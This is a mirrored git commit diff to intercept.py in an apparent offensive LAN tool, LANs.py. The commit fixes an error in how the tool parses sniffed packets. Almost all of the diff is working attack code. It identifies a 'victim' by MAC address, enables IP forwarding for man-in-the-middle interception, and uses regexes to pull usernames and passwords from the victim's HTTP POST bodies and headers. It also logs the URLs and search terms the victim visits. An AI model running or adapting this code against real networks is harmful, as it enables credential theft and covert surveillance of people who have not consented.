mirror of
https://github.com/DanMcInerney/LANs.py.git
synced 2025-07-11 15:47:06 -07:00
fixed error where sometimes it would say Ether layer not found
This commit is contained in:
parent
8b2cfb8c9a
commit
87849a4882
1 changed files with 99 additions and 105 deletions
204
intercept.py
204
intercept.py
|
@ -101,15 +101,6 @@ else:
|
||||||
victimIP = raw_input('\nType victim\'s IP: ')
|
victimIP = raw_input('\nType victim\'s IP: ')
|
||||||
print ''
|
print ''
|
||||||
|
|
||||||
print "[+] Active interface: " + interface
|
|
||||||
print "[+] Local IP: " + localIP
|
|
||||||
print "[+] Interface MAC: " + localMAC
|
|
||||||
print "[+] DHCP server: " + DHCPsrvr
|
|
||||||
print "[+] DNS server: " + DNSsrvr
|
|
||||||
print "[+] Local domain: " + local_domain
|
|
||||||
print "[+] Router IP: " + routerIP
|
|
||||||
print "[+] Client IP: " + victimIP
|
|
||||||
|
|
||||||
def originalMAC(ip):
|
def originalMAC(ip):
|
||||||
# srp is for layer 2 packets with Ether layer, sr is for layer 3 packets like ARP and IP
|
# srp is for layer 2 packets with Ether layer, sr is for layer 3 packets like ARP and IP
|
||||||
ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=5, retry=3)
|
ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=5, retry=3)
|
||||||
|
@ -126,106 +117,103 @@ def restore(routerIP, victimIP, routerMAC, victimMAC):
|
||||||
|
|
||||||
def URL(pkt):
|
def URL(pkt):
|
||||||
global host, get, post, url
|
global host, get, post, url
|
||||||
|
if pkt.haslayer(Raw) and pkt.haslayer(Ether):
|
||||||
|
if pkt[Ether].src == victimMAC:
|
||||||
|
pkt = repr(pkt[Raw].load)
|
||||||
|
try:
|
||||||
|
headers, body = pkt.split(r"\r\n\r\n")
|
||||||
|
except:
|
||||||
|
headers = pkt
|
||||||
|
body = ''
|
||||||
|
|
||||||
if pkt.haslayer(Raw) and pkt[Ether].src == victimMAC:
|
header_lines = headers.split(r"\r\n")
|
||||||
pkt = repr(pkt[Raw].load)
|
for l in header_lines:
|
||||||
try:
|
searchHost = re.search('[Hh]ost: ', l)
|
||||||
headers, body = pkt.split(r"\r\n\r\n")
|
searchGet = re.search('GET /', l)
|
||||||
except:
|
searchPost = re.search('POST /', l)
|
||||||
headers = pkt
|
if searchHost:
|
||||||
body = ''
|
host = l.split(' ')
|
||||||
|
host = host[1]
|
||||||
|
if searchGet:
|
||||||
|
get = l.split(' ')
|
||||||
|
get = get[1]
|
||||||
|
if searchPost:
|
||||||
|
post = l.split(' ')
|
||||||
|
post = post[1]
|
||||||
|
|
||||||
#ADD HTML CHECKER THING HERE
|
#If a packet with data is retrasmitted amongst multiple packets this will catch all the split up parts that are lacking in features of a normal packet
|
||||||
|
if args.post and len(pkt) < 450:
|
||||||
|
if body != '':
|
||||||
|
username = re.findall('(([Ee]mail|[Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og)=([^&][^&]*))', body)
|
||||||
|
password = re.findall('(([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp]assw)=([^&][^&]*))', body)
|
||||||
|
if username != [] or password != []:
|
||||||
|
print T+'[+] Packet may\'ve been split. Load data:',body+W
|
||||||
|
for x in username:
|
||||||
|
for u in x:
|
||||||
|
if '=' in u:
|
||||||
|
print R+u+W
|
||||||
|
for y in password:
|
||||||
|
for p in y:
|
||||||
|
if '=' in p:
|
||||||
|
print R+p+W
|
||||||
|
if not get:
|
||||||
|
username = re.findall('(([Ee]mail|[Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og)=([^&][^&]*))', headers)
|
||||||
|
password = re.findall('(([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp]assw)=([^&][^&]*))', headers)
|
||||||
|
if username != [] or password != []:
|
||||||
|
print T+'[+] Packet may\'ve been split. Load data:',headers+W
|
||||||
|
for x in username:
|
||||||
|
for u in x:
|
||||||
|
if '=' in u:
|
||||||
|
print R+u+W
|
||||||
|
for y in password:
|
||||||
|
for p in y:
|
||||||
|
if '=' in p:
|
||||||
|
print R+p+W
|
||||||
|
|
||||||
|
if host and get:
|
||||||
header_lines = headers.split(r"\r\n")
|
url = host+get
|
||||||
for l in header_lines:
|
if host and post:
|
||||||
searchHost = re.search('[Hh]ost: ', l)
|
url = host+post
|
||||||
searchGet = re.search('GET /', l)
|
if url == None:
|
||||||
searchPost = re.search('POST /', l)
|
|
||||||
if searchHost:
|
|
||||||
host = l.split(' ')
|
|
||||||
host = host[1]
|
|
||||||
if searchGet:
|
|
||||||
get = l.split(' ')
|
|
||||||
get = get[1]
|
|
||||||
if searchPost:
|
|
||||||
post = l.split(' ')
|
|
||||||
post = post[1]
|
|
||||||
|
|
||||||
#If a packet with data is retrasmitted amongst multiple packets this will catch all the split up parts that are lacking in features of a normal packet
|
|
||||||
if args.post and len(pkt) < 450:
|
|
||||||
if body != '':
|
|
||||||
username = re.findall('(([Ee]mail|[Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og)=([^&][^&]*))', body)
|
|
||||||
password = re.findall('(([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp]assw)=([^&][^&]*))', body)
|
|
||||||
if username != [] or password != []:
|
|
||||||
print T+'[+] Packet may\'ve been split. Load data:',body+W
|
|
||||||
for x in username:
|
|
||||||
for u in x:
|
|
||||||
if '=' in u:
|
|
||||||
print R+u+W
|
|
||||||
for y in password:
|
|
||||||
for p in y:
|
|
||||||
if '=' in p:
|
|
||||||
print R+p+W
|
|
||||||
if not get:
|
|
||||||
username = re.findall('(([Ee]mail|[Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og)=([^&][^&]*))', headers)
|
|
||||||
password = re.findall('(([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp]assw)=([^&][^&]*))', headers)
|
|
||||||
if username != [] or password != []:
|
|
||||||
print T+'[+] Packet may\'ve been split. Load data:',headers+W
|
|
||||||
for x in username:
|
|
||||||
for u in x:
|
|
||||||
if '=' in u:
|
|
||||||
print R+u+W
|
|
||||||
for y in password:
|
|
||||||
for p in y:
|
|
||||||
if '=' in p:
|
|
||||||
print R+p+W
|
|
||||||
|
|
||||||
if host and get:
|
|
||||||
url = host+get
|
|
||||||
if host and post:
|
|
||||||
url = host+post
|
|
||||||
if url == None:
|
|
||||||
return
|
|
||||||
|
|
||||||
if args.post and post:
|
|
||||||
if body != '':
|
|
||||||
print B+'[+] POST:',url,'HTTP POST load:',body+W
|
|
||||||
username = re.findall('(([Ee]mail|[Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og)=([^&][^&]*))', body)
|
|
||||||
password = re.findall('(([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp]assw)=([^&][^&]*))', body)
|
|
||||||
for x in username:
|
|
||||||
for u in x:
|
|
||||||
if '=' in u:
|
|
||||||
print R+u+W
|
|
||||||
for y in password:
|
|
||||||
for p in y:
|
|
||||||
if '=' in p:
|
|
||||||
print R+p+W
|
|
||||||
|
|
||||||
if args.urlspy:
|
|
||||||
d = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js']
|
|
||||||
if any(i in url for i in d):
|
|
||||||
return
|
return
|
||||||
if len(url) > 150:
|
|
||||||
print url[:149]
|
if args.post and post:
|
||||||
else:
|
if body != '':
|
||||||
|
print B+'[+] POST:',url,'HTTP POST load:',body+W
|
||||||
|
username = re.findall('(([Ee]mail|[Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og)=([^&][^&]*))', body)
|
||||||
|
password = re.findall('(([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp]assw)=([^&][^&]*))', body)
|
||||||
|
for x in username:
|
||||||
|
for u in x:
|
||||||
|
if '=' in u:
|
||||||
|
print R+u+W
|
||||||
|
for y in password:
|
||||||
|
for p in y:
|
||||||
|
if '=' in p:
|
||||||
|
print R+p+W
|
||||||
|
|
||||||
|
if args.urlspy:
|
||||||
|
d = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js']
|
||||||
|
if any(i in url for i in d):
|
||||||
|
return
|
||||||
|
if len(url) > 150:
|
||||||
|
print url[:149]
|
||||||
|
else:
|
||||||
|
print url
|
||||||
|
|
||||||
|
if args.verboseURL:
|
||||||
print url
|
print url
|
||||||
|
|
||||||
if args.verboseURL:
|
if args.search:
|
||||||
print url
|
searched = re.search('((search|query|search\?q|\?s|&q|\?q|search\?p|keywords)=([^&][^&]*))', url)
|
||||||
|
if searched:
|
||||||
|
searched = searched.group(3)
|
||||||
|
searched = searched.replace('+', ' ').replace('%20', ' ').replace('%3F', '?').replace('%27', '\'').replace('%40', '@').replace('%24', '$').replace('%3A', ':').replace('%3D', '=').replace('%22', '\"').replace('%24', '$')
|
||||||
|
print T + '[+] Searched %s for:' % host,searched + W
|
||||||
|
|
||||||
if args.search:
|
host = None
|
||||||
searched = re.search('((search|query|search\?q|\?s|&q|\?q|search\?p|keywords)=([^&][^&]*))', url)
|
get = None
|
||||||
if searched:
|
post = None
|
||||||
searched = searched.group(3)
|
url = None
|
||||||
searched = searched.replace('+', ' ').replace('%20', ' ').replace('%3F', '?').replace('%27', '\'').replace('%40', '@').replace('%24', '$').replace('%3A', ':').replace('%3D', '=').replace('%22', '\"').replace('%24', '$')
|
|
||||||
print T + '[+] Searched %s for:' % host,searched + W
|
|
||||||
|
|
||||||
host = None
|
|
||||||
get = None
|
|
||||||
post = None
|
|
||||||
url = None
|
|
||||||
|
|
||||||
def DNSreq(pkt):
|
def DNSreq(pkt):
|
||||||
if pkt.haslayer(DNSQR):
|
if pkt.haslayer(DNSQR):
|
||||||
|
@ -273,15 +261,21 @@ class driftnet(threading.Thread):
|
||||||
xterm = ['xterm', '-e', 'driftnet', '-i', '%s' % interface]
|
xterm = ['xterm', '-e', 'driftnet', '-i', '%s' % interface]
|
||||||
Popen(xterm, stdout=PIPE, stderr=DN)
|
Popen(xterm, stdout=PIPE, stderr=DN)
|
||||||
|
|
||||||
|
print "[+] Active interface: " + interface
|
||||||
|
print "[+] Local IP: " + localIP
|
||||||
|
print "[+] Interface MAC: " + localMAC
|
||||||
|
print "[+] DHCP server: " + DHCPsrvr
|
||||||
|
print "[+] DNS server: " + DNSsrvr
|
||||||
|
print "[+] Local domain: " + local_domain
|
||||||
|
print "[+] Router IP: " + routerIP
|
||||||
|
print "[+] Client IP: " + victimIP
|
||||||
try:
|
try:
|
||||||
routerMAC = originalMAC(routerIP)
|
routerMAC = originalMAC(routerIP)
|
||||||
print "[+] Router MAC: " + routerMAC
|
print "[+] Router MAC: " + routerMAC
|
||||||
victimMAC = originalMAC(victimIP)
|
victimMAC = originalMAC(victimIP)
|
||||||
print "[+] Victim MAC: " + victimMAC + "\n"
|
print "[+] Victim MAC: " + victimMAC
|
||||||
except:
|
except:
|
||||||
sys.exit("Could not get MAC addresses")
|
sys.exit("Could not get MAC addresses")
|
||||||
|
|
||||||
#Forward packets and flush iptables
|
|
||||||
ipfwd = Popen(['cat', '/proc/sys/net/ipv4/ip_forward'], stdout=PIPE, stderr=DN)
|
ipfwd = Popen(['cat', '/proc/sys/net/ipv4/ip_forward'], stdout=PIPE, stderr=DN)
|
||||||
if not ipfwd.communicate()[0] == '1':
|
if not ipfwd.communicate()[0] == '1':
|
||||||
f = open('/proc/sys/net/ipv4/ip_forward', 'r+')
|
f = open('/proc/sys/net/ipv4/ip_forward', 'r+')
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue